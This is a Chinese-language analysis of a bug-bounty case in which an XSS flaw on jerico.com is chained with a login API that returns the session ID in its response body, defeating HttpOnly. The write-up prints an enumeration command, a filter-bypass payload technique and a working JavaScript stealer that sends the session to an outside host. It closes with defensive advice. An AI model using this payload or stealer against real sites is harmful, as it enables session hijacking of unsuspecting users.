翻译 Stealing HttpOnly Cookie via XSS
字数 1238 2025-08-29 08:32:09
通过XSS窃取HttpOnly Cookie的技术分析与防御指南
1. 漏洞发现过程概述
本文详细分析了一个通过XSS漏洞窃取HttpOnly Cookie的实际案例,展示了攻击者如何绕过安全限制获取敏感会话信息。
关键发现点:
- 目标网站:jerico.com(一个拥有5亿用户的博客平台)
- 漏洞入口点:
/account/settings/server端点存在XSS漏洞 - 特殊发现:登录API在响应体中返回会话ID,尽管Cookie标记为HttpOnly
2. XSS漏洞的发现与利用
2.1 初始发现
攻击者使用wfuzz工具进行目录枚举:
wfuzz -c -z file,/root/Desktop/common-list --hc 404,400,302 https://jerico.com/FUZZ
发现/account/settings/server端点返回200状态码,并在页面源代码中发现:
<script> var user ='server'; </SCRIPT>
2.2 XSS Payload构造
简单验证Payload:
https://jerico.com/account/settings/server'-alert(2)-'
成功触发XSS弹窗,确认漏洞存在。
3. 绕过HttpOnly限制的技术
3.1 会话ID泄露点分析
虽然会话Cookie被标记为HttpOnly:
Set-Cookie:session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc; secure;httpOnly;domain=jersico.com
但登录API在响应体中返回了相同的会话ID:
{"session":"xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc"}
3.2 利用技术
攻击者发现无需提供凭据,仅需发送包含有效会话Cookie的POST请求即可获取会话ID:
POST /Account/Login HTTP/1.1
Cookie: session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc;
HOST: jerico.com
4. 高级XSS Payload构造技术
4.1 字符过滤绕过
由于特殊字符被过滤(",<>/\),攻击者采用以下技术:
- 使用
String.fromCharCode()转换ASCII码 - 使用
.concat()方法代替逗号分隔
示例:
// 原始:alert(1337)
eval(String.fromCharCode(97,108,101,114,116,40,49,51,51,55,41))
// 使用concat替代逗号:
'a'.concat('b')
4.2 自动化Payload生成
攻击者开发Python脚本将任意JavaScript代码转换为过滤绕过形式:
# Js2S.py脚本功能:将JavaScript代码转换为过滤绕过形式
# 使用示例:
python Js2S.py payload.txt
5. 完整攻击链
5.1 最终Payload结构
https://jerico.com/Account/Settings/server`-dcument.write( <<生成的payload>> )'-
5.2 攻击流程
- 受害者访问恶意构造的URL
- 页面执行document.write,写入恶意脚本
- 恶意脚本发送XHR POST请求到登录端点
- 从响应体中提取会话ID
- 将会话ID发送到攻击者控制的服务器
5.3 窃取会话的JavaScript代码
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
prompt('You are hacked , your session='+xhr.response);
document.location.replace('//yassergersy.com/stealer?data='+xhr.response);
}
}
xhr.open('POST', '/account/login', true);
xhr.withCredentials = true;
xhr.send(null);
</script>
6. 防御措施
6.1 防止XSS
- 对所有用户输入进行严格的输出编码
- 实施内容安全策略(CSP)
- 使用X-XSS-Protection头
- 避免在JavaScript中直接使用用户输入
6.2 保护会话ID
- 不要在响应体中返回会话ID
- 确保HttpOnly和Secure标志始终设置
- 实现会话固定保护
- 考虑使用SameSite Cookie属性
6.3 输入过滤
- 实施严格的输入验证
- 使用白名单而非黑名单方法
- 对特殊字符进行适当转义
7. 漏洞时间线
- 2018年2月4日:漏洞报告
- 2018年2月5日:分类确认
8. 经验教训
- 漏洞链式利用可提高攻击影响
- 不应仅依赖HttpOnly保护会话
- API响应可能泄露敏感信息
- 简单的XSS可能导致严重的会话劫持
通过此案例,我们了解到即使设置了HttpOnly标志,如果应用程序设计不当,攻击者仍可能通过其他途径获取会话凭证。全面的安全措施和深度防御策略至关重要。